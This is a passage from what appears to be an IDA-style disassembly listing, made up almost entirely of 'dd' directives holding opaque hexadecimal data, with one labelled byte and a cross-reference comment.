7DD029BAh, 53B05577h, 4BAC78A4h, 0FADC8F9Ah, 8DF1C0E3h dd 3A8D29BAh, 8CC31234h, 0A0872A4Dh, 9CEF29BAh, 422B7496h dd 0E3E8A083h, 0D86741ECh, 3ECC6B2h, 494F464Bh, 0B7FFE5D7h dd 0E153B0D5h, 17639AC6h, 3F3CC58Dh, 0A49BA058h, 10F9F3F9h dd 722C12ECh, 367B766Dh, 4029BA5Ch, 0C36842EDh, 8A422BC9h dd 75DE4773h, 393EF8DAh, 6BE23E42h, 0D88DAFB5h, 5C35E2B2h dd 33121779h, 4F9AC659h, 31166137h, 0B9168B91h, 8A422B47h dd 2BC9C3B0h, 0D8B38D47h, 8A422BB2h, 6487C6B0h, 29BAA14Dh dd 0A0EBC6E9h, 409329BAh, 0C3101669h, 0B08FFD9Dh, 0E6CAA453h dd 2A30272Ch, 0C49AC608h, 0AB63489Eh, 0C1ABAFA6h, 0C6C0C612h dd 0C34E28E2h, 83422BC9h, 623CE7A1h, 472BC9C3h, 0B69C768Dh dd 0E900F7FCh, 0BAA0EBC6h, 3A409329h, 3ECC618h, 0D2F8454Bh dd 4D6487C6h, 2929BAA1h, 8934ECCFh, 897F4083h, 2BF43A5Ch dd 8D8B9048h, 0F5EBF0A8h, 1286BC8h, 0E153B01Fh, 0B38D472Bh dd 500AECC6h, 0EC4E544Bh, 8D472BF2h, 6487C6B3h, 29BAA14Dh dd 0AEB36B4Eh, 878DE0B7h, 6C98D73Ah, 0F4777349h, 81302B11h dd 0FD29BA57h, 0B382A4AAh, 482BDCF6h, 0A48D8B90h, 367FE7ECh dd 2ED096D9h, 65A453B0h, 0BAA16F42h, 9DB40729h, 0BAA1377Ah dd 0E6EC3F29h, 34472BC4h, 644D5F35h, 0ACB0A7ACh, 35E0D2B9h dd 4D8CC35Bh, 8F245F21h, 514C88FBh, 29BA3860h, 89ACC316h dd 29BA3828h, 0D3F5FB4Eh, 768D472Bh, 0A09D1437h, 86D929BAh dd 0ECC65E80h, 13364D05h, 29BAA09Eh, 327F85D8h, 0FF4FE20Ch dd 0FD24841Dh, 0F9D52652h, 1CB9E0Fh, 53B0D9FBh, 86472BE1h dd 0E9E0E59Dh, 0C9C3643Eh, 0B48E462Bh, 472BB2D8h, 0B89C768Dh dd 0D8D6F8FEh, 0C68FFDB2h, 614605ECh, 2ADA4A9h, 8B0006FDh dd 462BBC36h, 8CC3B48Eh, 0B11C9B2h, 6487C6E9h, 29BAA14Dh dd 0DC8EF2FCh, 9E0A1D9h, 0D2B6B0B6h, 0C9C33E18h, 0A3C66F1Dh dd 29BAA10Eh, 0D83B1568h, 8E462BB2h, 2BB2D8B4h, 89878C44h dd 553AECA4h, 3348989Dh, 0C85B1D1Dh, 0A67B0CCh, 0C6431DC7h dd 4F313D9Ah, 0A557D040h, 8C0107C1h, 0D5D9BD37h, 0C396859Ah dd 66179ABDh, 0C5F29BAh, 0C6F3A161h, 0EC6AD87h, 0C90C1209h dd 29BAA0E8h, 4A243B8Eh, 0ADA4A961h, 5B6018FBh, 0C63C5E64h dd 494E08ECh, 0A0EEC3E6h, 358829BAh, 225848Ah, 29BAA0AFh dd 0C69A74C7h, 0A14D6487h, 0D62929BAh, 2B746ED0h, 0C6B48E46h dd 4A500AECh, 6F1DEEE8h, 0F203ECC6h, 2B06FD24h, 0CED37E4Bh dd 2184D1D7h, 6DF2BFE2h, 398C29BAh, 6F1D1133h, 472BB2D8h dd 0C9C3B38Dh, 0CFE29FEDh, 0A429BAA0h, 53B05933h, 2BA4E6E1h dd 0D8B38D47h, 0FBB59B75h, 9FEDD3F5h, 0BAA0CFE2h, 5286729h dd 29BAA0ACh, 57797FD2h, 6B2652FDh, 0CF69A59Fh, 0F1C0E3FAh dd 8D29BA7Bh, 0B012343Ah, 0E8CAA453h, 0DB937C2Eh, 0ECC6B3D5h dd 8474D05h, 2B9FEDC6h, 948B9048h, 0A1575A7Dh, 0CC1F29BAh dd 0A3C65E0Ch, 29BAA10Eh, 2D8FFC28h, 437FB0A1h, 0ECF1AB91h dd 7DD0EFF5h, 0EEA88C66h, 0CAECF2E9h, 6F1DC9C3h, 0CFE2B2D8h dd 0A429BAA0h, 53B05933h, 0C66F1DE1h, 0BAA10EA3h, 3B156829h dd 472BC9C3h, 0D1E8A286h, 0BAA103AEh, 7D287B29h, 608CC3A3h dd 4E48661Eh, 294B51E5h, 0B38D472Bh, 87C6B2D8h, 0BAA14D64h dd 0D0D62929h, 0BAA1248Dh, 52EE1A29h, 63FD6C2Ch, 33E4060Ch dd 0E153B059h, 768D472Bh, 315F3F4Ah, 2228CA7Fh, 2BC9C300h dd 0C6B69048h, 0A14D6487h, 76FC29BAh, 96D4680Eh, 0AAC114EBh dd 0BA442A87h, 0FB015429h, 87C688AEh, 0BAA14D64h, 0EBA5FC29h dd 47A9C09Bh, 0D4171D70h, 29BA28DDh, 90482B96h, 4D8CC3B6h dd 0BAA0872Ah, 969CEF29h, 8D472B74h, 9B75D8B3h, 0D4F6FCB4h dd 0B690482Bh, 5933B2D8h, 2BE153B0h, 0C3B38D47h, 90482BC9h dd 0C19AC6B6h, 831FEB1Dh, 0C9006268h, 27ADFF9Dh, 24D6F451h dd 8B82873Fh, 321D6385h, 0B2B87258h, 2BB2D890h, 0E9A18647h dd 0C5E8273Eh, 29BAA0ECh, 5283F92h, 29BAA0ACh, 57797FD2h dd 4C06ECC6h, 2BD3F946h, 948B9048h, 87C626D4h, 0A08C2548h dd 9FF229BAh, 0A15F5699h, 0C41729BAh, 2BC9C3EAh, 0C6B38D47h dd 484D05ECh, 0EFE94B51h, 0AA8D67E6h, 2BCAECF2h, 0D8B38D47h dd 90482BB2h, 2BB2D8B6h, 63492349h, 0B2ADA4A9h, 29BAA0FFh dd 9F792477h, 0CAAD87C6h, 0A09A1712h, 25E429BAh, 0BAA0AF02h dd 0C974C729h, 0D41376C3h, 0BAA100B1h, 1D237629h, 5ECC6FBh dd 5F04474Dh, 9405ECC9h, 788F492Bh, 85AC0D39h, 0AF7C2CD6h dd 0BA9BFDB4h, 20267929h, 2BC9C3FEh, 9F799048h, 6FD02BAh dd 75D8DE00h, 0F8FDB79Bh, 0E2D9FB01h, 3FB686C9h, 11725581h dd 0A9AE684Eh, 0F27EAEB2h, 2BF91B21h, 0B0012448h, 0C629BAA0h dd 0C3EEC873h, 90482BC9h, 0B89F79h, 0B2D8D8FAh, 4C06ECC6h dd 74A5047h, 29BAA0A7h, 0C694F6CEh, 0B4F203ECh, 43AD764Eh dd 0CA3F45F0h, 692BE75h, 21AB2862h, 2B16383Eh, 0C3B69048h dd 90482BC9h, 1BB9F79h, 0DDFF05FCh, 0FCE2B2D8h, 777257B2h dd 0CFB48EC1h, 151B1217h, 0E153B0F3h, 490AECC6h, 0F8FEA963h dd 89631BFEh, 0D0B28CC3h, 681A1116h, 0CDC4C981h db 0C7h byte_5C3A41 db 0A5h, 2Bh, 48h ; DATA XREF: ___:off_44207Co dd 9AC6B690h, 8B71275Fh, 0D2F50C7Dh, 29B9F3DFh, 0F13E4497h dd 69AC6CBh, 21F33840h, 641E9096h, 8D472B4Ch, 94A58A88h dd 0F1999097h, 0C2C772ADh, 3578D596h, 53B0CD6Fh, 90482BE1h dd 2BC9C3B6h, 9F799048h, 0D9FB01BBh, 2E2B2D8h, 38595D88h dd 0B8BE785Eh, 8B452B96h, 0EAA48886h, 6DC2EFE5h, 0B0D44222h dd 482BE153h, 0C9C3B690h, 0B690482Bh, 0BD4975D8h, 4EFADBEh dd 0B388AAB0h, 3817E0F2h, 0A0DBD6F9h, 50A329BAh, 53B0284Ah dd 90482BE1h, 6487C6B6h, 29BAA14Dh, 0D9B06A4Eh, 36F0D486h dd 0D2343A31h, 0BE276F9Bh, 6DD8D9FCh, 4B9E29BAh, 0D33ECC47h dd 0ECC6ABCDh, 15384F07h, 29BAA09Ch, 8F898FE2h, 0C61AF4ACh dd 474D05ECh, 8BE2D4FAh, 0ABFEDFF8h, 92DEA47Fh, 0B7BD555Ah dd 0C68FFD95h, 9E500AECh, 6FD02BCh, 7F368B00h, 308C0A5h dd 2BE4060Ch, 0E4293748h, 9DC40A25h, 1A01DBF2h, 60665D62h dd 9ECC63Eh, 0C6E94C51h, 29BAA0EBh, 7E954093h, 0BAA1565Bh dd 0C7CD2029h, 492B6B65h, 3AA9F036h, 787C8B39h, 24207B26h dd 2600ABC0h, 0ECC6B2D8h, 0FEB9F508h, 72C9C91h, 5A60575Ch dd 0EBC57D60h, 4D6487C6h, 2929BAA1h, 5D83D0D6h, 0ECC68FFDh dd 0D0454B03h, 492B0173h, 0C9C3B58Fh, 0B2D86F1Dh, 0B690482Bh dd 0E4D8CC3h, 0BAA0C6EBh, 625DB029h, 29BAA14Fh, 0ACCED427h dd 0CFE29FEDh, 6729BAA0h, 0EBF0A88Dh, 33CCEEF4h, 0AECC659h dd 0A0F0C1E4h, 338629BAh, 0B00D8288h, 2BA4E63Eh, 0D8B58F49h dd 0A0CCE2B2h, 2BA729BAh, 89878C44h, 0F2E8EDA7h, 96B968C5h dd 29BAA11Bh, 7E651063h, 0A453B01Ch, 0EFA98B65h, 0BAA0BDF4h dd 6066B929h, 8F492B3Eh, 6487C6B5h, 29BAA14Dh, 6ED0D629h dd 88492B74h, 273EE9A1h, 928BBCFBh, 676DA1EAh, 98B2D845h dd 2BC9C3F2h, 9E788F49h, 0D5F7FDB5h, 0ECC6B2D8h, 3464C06h dd 77867A3Ah, 0AABBA27Ch, 0C85FF3CDh, 0F14BFB5h, 0B6F01218h dd 0E153B0D4h, 4D6487C6h, 0FC29BAA1h, 21E1FDCFh, 88DBB22Eh dd 0E5A68882h, 0C19B46FEh, 500AECC6h, 0EC4E544Bh, 8F492BF2h dd 2BB2D8B5h, 0C3B69048h, 6487C6C9h, 29BAA14Dh, 0D6D0D629h dd 9A66E1F4h, 996BAF08h, 4C5000C7h, 4126FFAAh, 5933DE89h dd 0A3C6C9C3h, 29BAA10Eh, 0A7551568h, 0FFAE9AC6h, 6E722C12h dd 0FEE162A5h, 9F4A4146h, 9A173A99h, 0E429B9EBh, 0B2D8B791h dd 3981AEE2h, 52FD893Eh, 0B1D413h, 7629BAA1h, 0A0892823h dd 0A2F529BAh, 53B07A9Ch, 58321DE1h, 90B2B872h, 0A10EA3C6h dd 156829BAh, 0EA3C63Bh, 6829BAA1h, 4124FE15h, 0C3618389h dd 0C66F1DC9h, 0BAA10EA3h, 0FE156829h, 0F91C4224h, 29BAA0B8h dd 0BBC06BBEh, 0B2C2C0C4h, 0A8A8617Ch, 0B2D880A2h, 4E08ECC6h dd 0BBA05249h, 0CBAFD03h, 87304598h, 0F01352FDh, 29BAA0C1h dd 42646ABDh, 1DE153B0h, 0EA3C66Fh, 6829BAA1h, 169C28BCh dd 58038A80h, 0EA3C67Eh, 6829BAA1h, 6519FBBCh, 35E0DBDFh dd 6ECC65Bh, 4A50474Ch, 321DEEE8h, 0B6BB7358h, 0A0813053h dd 0AAFD29BAh, 0C6D7F9FFh, 0BAA10EA3h, 65FC2829h, 8E7C5BE7h dd 0F346656Bh, 2BB2D819h, 0D8B69048h, 0FEB69B75h, 0DAFC02F9h dd 888D472Bh, 0E7ECA68Ah, 9FE23F74h, 513A14BFh, 869D9499h dd 0BAA14E63h, 0CFD52829h, 0E153B0ADh, 0A3C66F1Dh, 29BAA10Eh dd 0C63B1568h, 0BAA10EA3h, 6C4E2829h, 0B0B6ADB2h, 0C6643E91h dd 0CDF306ECh, 4F9701DCh, 0FD5F6510h, 0EA3C603h, 6829BAA1h dd 0C6A75515h, 0FC9AD87h, 0CA0D130Ah, 29BAA0E7h, 0C6623C8Fh dd 464B03ECh, 0D6FC494Fh, 4597E4E2h, 0C0E32230h, 0FBB67F1h dd 12343A8Dh, 0ECC65933h, 52494E08h, 87AD74Ch, 7258321Dh dd 0B6BCB3B8h, 0E79AC694h, 943219CBh, 640FC7AEh, 0D5DCFF5Eh dd 6129B9B3h, 0E51B5D35h, 0E0923A11h, 433A3FF7h, 0B4CB1E3Dh dd 393EF8DAh, 979C543Bh, 0CDEFF5A0h, 4F07ECC6h, 0EAC7EA49h dd 9429BAA0h, 0C9C36741h, 0A10EA3C6h, 156829BAh, 0A3C6A755h dd 29BAA10Eh, 0D83B1568h, 81AEE2B2h, 33893E39h, 0A25C421Ch dd 53B07A9Ch, 0C66F1DE1h, 4A500AECh, 0F0D2ACEBh, 0C4ED3036h dd 0BA29BAA0h, 90765067h, 0D4DAD1D6h, 4887C6B2h, 0C8CD856Eh dd 0A0DBD6D1h, 987629BAh, 920CB202h, 8066C097h, 1FCAC1C6h dd 15DBD619h, 246329BAh, 0BA15B001h, 6D73C629h, 0A5E4FB4Eh dd 0BA162F82h, 0EEF44729h, 2BC9C3CCh, 0C3B69048h, 0E94FD1C9h dd 4E454A02h, 0A3C6C9A3h, 2E5ABD13h, 0C3482275h, 5ECC6C9h dd 2DF3474Dh, 0ECC6340Eh, 52494E08h, 82AEED4Ch, 3C5FAA48h dd 29BA7275h, 0DAAAAE01h, 74B7BD79h, 2E59F642h, 0DAF144h dd 0BC765A19h, 1015C0B7h, 99BD1519h, 2F236CC5h, 0B2D80729h dd 9BAB45E2h, 59334253h, 0E2A09AC6h, 0D4FDF1CAh, 4D0459CEh dd 0A30A9421h, 0BA4E3180h, 0F6FA4D29h, 0F6196F02h, 29BA90BBh dd 0BFC570C3h, 0F04FD19Dh, 13A3C616h, 752E5ABDh, 0ECC64822h dd 0AD654807h, 0B46E5002h, 50B2B8AFh, 6ECC656h, 0ED94D1F3h dd 984378D0h, 0F4AC9593h, 51004349h, 0AA29B9D8h, 0B38D472Bh dd 4D6487C6h, 2929BAA1h, 2855D2D6h, 0AD193AD7h, 1D345AA7h dd 0EA3C66Fh, 6829BAA1h, 0C9C33B15h, 0C7F3321Dh, 0FF488D1Eh dd 0EAC7C20Fh, 0B929B9D0h, 1F161BD5h, 0CDEFF548h, 6F1DB2D8h dd 482BB2D8h, 0BA9F7990h, 0C3DAFC02h, 0FA9AC6C9h, 9F932400h dd 9AE82026h, 0BAA0CFE2h, 1C33A429h, 0A0A55D42h, 0FC01B9A2h dd 32545A05h, 0E6E153B0h, 0ECA48D67h, 24CA6AE8h, 8B91A616h dd 9ECC669h, 6D514B51h, 0B2D8D9B3h, 173662EDh, 0DBA319Bh dd 2BB5D7DDh, 9C768D47h, 0FFF6FBB3h, 0C9C3D7F9h, 0FE21472Bh dd 29BAA0B3h, 0F3CD78CBh, 0CFE2B2D8h, 6729BAA0h, 0ECF1AB8Dh dd 33CDEFF5h, 32B6F01Ch, 1C209580h, 53B0F416h, 8D472BE1h dd 0B28CC3B3h, 1A1116D0h, 0C3C88268h, 2BA4C6CCh, 0D8B58F49h dd 6487C6B2h, 29BAA14Dh, 3E24D629h, 82887F84h, 51E0453Fh dd 492B3850h, 448C0A36h, 20603B3h, 48087226h, 5A34DF92h dd 492BC9C3h, 9AC6B58Fh, 5F4195DDh, 0A5A9A0A5h, 806634DAh dd 1FCAC1C6h, 8F69CC19h, 0C6E8EEA6h, 53B0AAE0h, 2EE8CAA4h dd 0A2C3229h, 492BC9C3h, 0D54C788Fh, 7CCC6B5Eh, 0D813353Bh dd 1F18E2B2h, 0B66BAFAEh, 0E153B0D4h, 4D6487C6h, 2929BAA1h dd 0F4D6D0D6h, 0D3F8ABE1h, 161ABF8Dh, 0DBA1FA67h, 0D7B15CB3h dd 472BC9C3h, 814A768Dh, 58B3ABBDh, 272CE4CDh, 5D7F8530h dd 0B59B75D8h, 0F0C1E4FBh, 8629BAA0h, 2B0B2D33h, 4C788F49h dd 0BCABB395h, 0EEC7CBB6h, 0BC7958EBh, 0D8486A70h, 88492BB2h dd 0F0E7ECA6h, 5E424045h, 0B86D9FA4h, 946E185Bh, 2BE153B0h dd 37768D47h, 0BAA09D14h, 8086D929h, 0B28CC35Eh, 160D12CCh dd 87C6EE10h, 0BAA14D64h, 7C00FC29h, 9923F62Eh, 2C6B6FC2h dd 650D021Dh, 0B6989298h, 0C9C322FCh, 0A10EA3C6h, 52829BAh dd 29BAA0ACh, 55A87FD2h, 75D8E795h, 0F7FDB79Bh, 8D472BD5h dd 1DB2D8B3h, 12A3C66Fh, 3429BAA1h, 0B00EB608h, 7A80E709h dd 0C32E085Bh, 8D472BC9h, 0E6C9C3B3h, 8F01E2A4h, 2B7629BAh dd 0D8B58F49h, 0C66F1DB2h, 0BAA10EA3h, 3B156829h, 0ECC6C9C3h dd 534A4F07h, 7C40C24Fh, 9298E311h, 5A57074Fh, 492B7E2Eh dd 0A0B10023h, 7ACD29BAh, 0C9C3F5CFh, 0FD20442Bh, 29BAA0B4h dd 0C0F21ECAh, 7F2802Ch, 5B9AB15Ch, 0BA3A7938h, 0ACB20529h dd 2BB2D88Ah, 3C053748h dd 2D6E0E41h, 0B9DEA70Ah, 0D17CCF29h, 0ECC64C26h, 0B2994B03h dd 0F8FEF5FAh, 291C48ABh, 0BC5A9C3h, 2A809507h, 74E20224h dd 925D07ACh, 663A3C66h, 537660DFh, 0B4FCB25Eh, 141AC518h dd 90482BF2h, 0E2C9C3B6h, 880986BDh, 8C442BBAh, 9E133675h dd 0D829BAA0h, 0C35D7F85h, 33442BC9h, 0FB00914Eh, 863E2790h dd 3F1930DBh, 7C9EA45Ch, 0ECC6B2D8h, 514B5109h, 0D8DCB66Eh dd 9E133675h, 0FD29BAA0h, 655C611Bh, 13353B8Eh, 53B08FFDh dd 5ECC6E1h, 664D474Dh, 0D7BD97AEh, 0C6F5171Dh, 0A14D6487h dd 0D62929BAh, 80864024h, 0ECC6241Eh, 514B5109h, 0C6DCB66Eh dd 0B300899Ah, 5F65FB32h, 492B03FDh, 0EE0A5436h, 0DF8A7407h dd 2BB2D805h, 0D8B28C44h, 0B05933B2h, 492BE153h, 7194A588h dd 0D058F2Bh, 0E3DADF8Ah, 0C9C35E38h, 0B28C442Bh, 87C6C9C3h dd 0BAA14D64h, 0AD654E29h, 837D83D6h, 0D80DE7A1h, 8A422BB2h dd 2BB2D8B0h, 88868B45h, 70E3E8A2h, 0F19BE63Bh, 0AECC617h dd 78D54A50h, 8F492B06h, 2BC9C3B5h, 0D8B28C44h, 0B834E2B2h dd 0C60F054Ch, 0BEE105ECh, 29BAA0F3h, 0DB8D388Bh, 40373CF4h dd 0A159403Ah, 0C6C9C3C7h, 126EE89Ah, 8A90C135h, 0DDF4AE90h dd 68367B9Eh, 0ED4029BAh, 969C543Bh, 0A9AC674h, 31D33484h dd 4D73C0C6h, 0A385442Bh, 3BEE5E9h, 0A3661CE8h, 75D81EF8h dd 0B6858449h, 0A288330Ch, 15373DE8h, 937852FDh, 0D9DFD6DBh dd 0FF9AC6B7h, 0BE3611CFh, 0E6EBA38Ah, 0C93E44EFh, 87C6FA74h dd 0BAA14D64h, 0D0D62929h, 603AF4D6h, 4D05ECC6h, 0E94B5148h dd 8C442BEFh, 0D1C9C3B2h, 0C611EB4Ah, 9E500AECh, 5FC01B9h dd 2B8CB2FFh, 0C3B38D47h, 36492BC9h, 0C65F6EBh, 8ED73661h dd 858C1271h, 0D9182FDAh, 0B9DCFBB6h, 2A308329h, 0C6C9C308h dd 923D79Ah, 0EBF19F66h, 0CFE265B3h, 0A429BAA0h, 53B08FFDh dd 2BA4E6E1h, 0D8B38D47h, 0FAB29B75h, 6F1DD2F4h, 0A10EA3C6h dd 156829BAh, 0E2C9C33Bh, 5F6CE1D7h, 21472BACh, 0BAA0B3FEh dd 0CD78CB29h, 0B28CC3F3h, 0EA0C12CCh, 0B38D472Bh, 0B29B75D8h dd 0E2D2F4FAh, 2643F003h, 1958F780h, 0DED1D4EDh, 9994C101h dd 29BA8918h, 0E3050B5Eh, 0C6E153B0h, 474C06ECh, 9B163950h dd 0E329BAA0h, 0AC908A90h, 1D01DBF2h, 0C33B5D63h, 418B608Ch dd 0F63665A5h, 492BCEF0h, 0B2D8B58Fh, 44FF26E2h, 9AC62139h dd 54B1B29Fh, 2F292F2Bh, 0C6B9934Dh, 464B03ECh, 0FDB79D4Fh dd 99FB01F8h, 459AC69Fh, 13947771h, 270B050Bh, 0B2D8936Dh dd 0B58F492Bh, 0D4B6B2D8h, 2BE153B0h, 0C3B38D47h, 8F492BC9h dd 0FFB79E78h, 0DBFD03FAh, 472BC9C3h, 0B2D8B38Dh, 0BAA0CCE2h dd 0A93E6A29h, 0F9FA8375h, 2F03AED1h, 287B29BAh, 2DE7CB7Dh dd 92B3128h, 987D57F6h, 0B0B8DAE0h, 472BE153h, 0C9C3B38Dh dd 0BAB367E2h, 3D609F29h, 29BA8C74h, 8FB1B70Ah, 4F07ECC6h dd 0F8FEB69Dh, 89631BFEh, 4B03ECC6h, 1DD2F845h, 0EA3C66Fh dd 6829BAA1h, 0C9C33B15h, 687F7BE2h, 0FDE1BB68h, 0F5A05A3Ch dd 482BCDEFh, 0ECC6B690h, 0E3454B03h, 90482BE9h, 9B75D8B6h dd 624BFDB7h, 0A8AEA5AAh, 0F5ADE286h, 2B8A17CDh, 0B5FC1F45h dd 0C129BAA0h, 0C0BEC36Eh, 823C1EDDh, 0D6DB867Dh, 923CF6D8h dd 0D5BE0865h, 0EEC8721Dh, 2BE153B0h, 0C3B69048h, 5ECC6C9h dd 0FDA86246h, 621AFDF7h, 0E2B2D888h, 611AC496h, 8E462BF1h dd 0EFA98B89h, 0E43982EAh, 0C64BB999h, 0A14D6487h, 0D62929BAh dd 8C065BD0h, 0A089482Bh, 0C3633DE8h, 8ECC6C9h, 684E484Eh dd 355897AEh, 29BAA07Ch, 0A1129FC2h, 196C29BAh, 0C7E9EF42h dd 74E2B2D8h, 0CF3753FCh, 9F84452Bh, 40EBE2E7h, 2BC9C366h dd 0EDA78948h, 2F46F1E8h, 0A0E4CDF0h, 479A29BAh, 0B2D81F41h dd 0CD32452Bh, 30E8D1B5h, 5630342Bh, 954D32CFh, 0D8653FEAh dd 0B05933B2h, 482BE153h, 173A7990h, 29BAA09Ah, 0EAA48AE4h dd 0C617393Fh, 0A14D6487h, 0D62929BAh, 2B746ED0h, 0C3B18B45h dd 90482BC9h, 0E2B2D8B6h, 29BAA0CCh, 8D472BA7h, 0EDA58A88h dd 0AC01B6E8h, 0B0187A61h, 482BE153h, 0B99F7990h, 0FD03FAFFh dd 2BC9C3DBh, 1D963748h, 0CEF7BBB0h, 0B2D84923h, 0E59A89E2h dd 8FFDFE64h, 0CAA453B0h, 2E252AE4h, 482B0628h, 34611A37h dd 0F5587EBh, 548C9086h, 3E18C341h, 472BC9C3h, 0BA9C768Dh dd 0FE04FB00h, 2BB2D8DCh, 0D8B69048h, 0D3FA4975h, 0D92A4E84h dd 0D4B6B1D3h, 0CAA453B0h, 894126E5h, 0DDE28D84h, 2BBEE0E6h dd 4A768D47h, 7B0CCBEh, 62848A35h, 482BC9C3h, 0B99F7990h dd 0C3D7F9FFh, 8D472BC9h, 6487C6B3h, 29BAA14Dh, 83D0D629h dd 0F3BEE120h, 8B29BAA0h, 2B103238h, 0C3B69048h, 8D472BC9h dd 5ECC6B3h, 0EBE5474Dh, 13ED4CD1h, 0B99B75D8h, 0F4AAFAFFh dd 0C45D46A2h, 8DAFB560h, 7990482Bh, 0FAFFB99Fh, 0D8DBFD03h dd 0B0BFCDB2h, 0E4CAA453h, 6ED5252Ah, 612818FBh, 0EC0E14BFh dd 34EAE31Fh, 9DA0C54h, 0C6560000h, 0B6D9849Ah, 0D4EB06B8h dd 0BA2B00B1h, 1D237629h, 0BA0B26DAh, 482B3129h, 0B2D8B690h dd 0A3C66F1Dh, 29BAA10Eh, 42A0E68h, 0BAA0D0E1h, 0A853A629h dd 0C9C323FDh, 4D6487C6h, 2929BAA1h, 4A98D0D6h, 0B690482Bh dd 462BC9C3h, 75D8B48Eh, 0F6FBB59Bh, 0C6D7F9FFh, 0D183BF9Ah dd 1E240DB3h, 0BA33D6DBh, 9AC69D29h, 502B7901h, 373137E1h dd 0C6C09A52h, 4DAB239Ah, 1F2562B2h, 482BC3BDh, 0B2D8B690h dd 778E462Bh, 4F01BB9Dh, 0B2A9AE66h, 0B2D88AACh, 888D472Bh dd 5A7DA18Ah, 29BAA157h, 1C21CC1Fh, 0CB166BB4h, 53B04721h dd 90482BE1h, 0CFFB4D79h, 0B56E6273h, 5C621A03h, 1DC9C33Ah dd 20A20632h, 7162E68Ch, 0A97A375Ah, 0B10429B9h, 0B2D889ABh dd 0B48E462Bh, 9FEDC9C3h, 0BAA0CFE2h, 5933A429h, 0C6E153B0h dd 1880E69Ah, 93998C06h, 462B1254h, 0B2D8B48Eh, 82C89AC6h dd 0D7944CF2h, 1A808ED1h, 2BF36B60h, 0E69E8746h, 0ECC6613Bh dd 4F464B03h, 2BEDE749h, 4B778E46h, 0F94C45h, 0EAD183CCh dd 0D80A2C32h, 576EE2B2h, 33C9949Fh, 0AD87C659h, 9A1712CAh dd 0E429BAA0h, 0B9168B91h, 8E462B47h, 3ECC6B4h, 494F464Bh dd 482BEDE7h, 0A0B00124h, 73C629BAh, 0B2D8EEC8h, 0B48E462Bh dd 8FFDB2D8h, 2BE153B0h, 3A799048h, 0BAA09A17h, 8B91E429h dd 4D8CC369h, 0BAA0872Ah, 0B395EF29h, 52FDF4F9h, 0FB00BAA0h dd 2BDCFE04h, 0E1A08746h, 4A4146FEh, 0C31AF49Fh, 8A422BC9h dd 0B2D81CCAh, 0A589482Bh, 44EFE6EBh, 9B75D86Ah, 0D4F6FCB4h dd 0ECC66F1Dh, 51484D05h, 0ECC9EC4Bh, 8A29BAA0h, 8CC35D37h dd 0E022B660h, 7076DD63h, 0BA9AC64Eh, 7AA5E414h, 41241E24h dd 0ECC6AF89h, 0E5474D05h, 5CE3D9EBh, 3FA5D88Bh, 0B2D8D17Fh dd 472BA4E6h, 0B69C768Dh, 17F9F7FCh, 0B661585Dh, 0B2D88EB0h dd 0D090482Bh, 69280BE5h, 191FCA82h, 0AD87C6F7h, 0C4070DC7h dd 29BAA0EDh, 0C35C3689h, 0C66F1DC9h, 464B03ECh, 0FFAA6448h dd 6F49ACF9h, 6E43668Ah, 829BAA1h, 0E050AB5h, 6F1DE608h dd 462BB2D8h, 0C9C3B48Eh, 0B58F492Bh, 9FEDB2D8h, 0B58F492Bh dd 0ECC6C9C3h, 0B29B4D05h, 0F8FEF5FAh, 4B621CFEh, 0D0D68E71h dd 3675D8AEh, 0BAA09E13h, 7F85D829h, 0A0CFE25Dh, 33A429BAh dd 0E153B059h, 0B58F492Bh, 422BC9C3h, 0B2D8B08Ah, 0BAA0CFE2h dd 422BA429h, 0C9C3B08Ah, 0A288492Bh, 0E5E3E8h, 0A14C4348h dd 0B2D81CF6h, 0B08A422Bh dd 4D6487C6h, 2929BAA1h, 5D83D0D6h, 53B05933h, 8F492BE1h dd 2BC9C3B5h, 0C6B08A42h, 0A14D6487h, 0D62929BAh, 2B746ED0h dd 0D8B58F49h, 6321DB2h, 5AC96B9Fh, 2690E452h, 73CD60CEh dd 0C6A0C2C8h, 0BAA10EA3h, 3B156829h, 4D6487C6h, 2929BAA1h dd 0E39FD2D6h, 0F02B97B1h, 603A9DEAh, 7E33567Ch, 0F829B9D9h dd 0FEF5FAA5h, 0D4B6D6F8h, 2BE153B0h, 0C3B58F49h, 0D86F1DC9h dd 8F492BB2h, 0B6B2D8B5h, 0B7846B97h, 682D84A7h, 0F64929BAh dd 0D437B8F2h, 878B36F0h, 4AA1C3A5h, 0A5C7CD50h, 1DE153B0h dd 0E1D0F332h, 9D29BAA0h, 0F9B1984Ah, 0A3C6D1F3h, 29BAA10Eh dd 0C33B1568h, 88492BC9h, 42FCE2A1h, 0E99B463Dh, 4D444903h dd 0ECC6C8A2h, 544B500Ah, 0C49E014Eh, 0FE2026E0h, 9AC66F1Dh dd 9709F7D7h, 99FC0008h, 739AC75Ah, 0A5C8272Dh, 29BAA00Ch dd 2190B372h, 5D29BAA0h, 0B872580Ah, 3711BCB3h, 422BB2D8h dd 0A387858Ah, 0A1575A7Dh, 0CC1F29BAh, 391E1C21h, 83E0A181h dd 0B0371940h, 492BE153h, 0C9C3B58Fh, 472BA4E6h, 0B2D8B38Dh dd 472B9FEDh, 0E6EBA386h, 0C66A44EFh, 0DC7AD87h, 9B161108h dd 0E329BAA0h, 0A0B00124h, 73C629BAh, 2960C2C8h, 0A0EAC7EAh dd 419429BAh, 0E8EEA68Fh, 34472BC6h, 8BE4B25Ah, 89630E6Ah dd 0CFE2B2D8h, 6729BAA0h, 0EAEFA98Dh, 33CBEDF3h, 0E153B059h dd 0B38D472Bh, 87C6C9C3h, 0BAA14D64h, 0D0D62929h, 4A31F2D6h dd 0EB968D92h, 0E2B2D811h, 29BAA0CFh, 0EEA68D67h, 0CAECF2E9h dd 0ECC65933h, 0D1464C06h, 472B027Ch, 0C9C3B38Dh, 19F3321Dh dd 82797E36h, 0BAA12A87h, 0D5B62729h, 1984F6F0h, 0C7E9EF42h dd 4F07ECC6h, 2BD6FC49h, 0D8B38D47h, 0C66F1DB2h, 0A14D6487h dd 0D62929BAh, 583271D0h, 0BEB5BA74h, 0A14075B8h, 8A3629BAh dd 38F937C7h, 0C5EC0FDCh, 0B129B9FCh, 1801B35Eh, 0B9645B60h dd 4D8CC3DFh, 0BAA0872Ah, 969CEF29h, 86472B74h, 0ECE3E8A2h dd 0ECC66741h, 0E5474D05h, 69AC6EBh, 2D693834h, 0EDA58E40h dd 0ACEBF1E8h, 0B46C532Dh, 422B8CAEh, 0B2D8B08Ah, 33B255E2h dd 391BF556h, 7D837A7Fh, 8A422B5Bh, 2BC9C3B0h, 0E7A18746h dd 0B2D8623Ch, 0B08A422Bh, 52FDB2D8h, 0A0C1F013h, 6ABD29BAh dd 53B04264h, 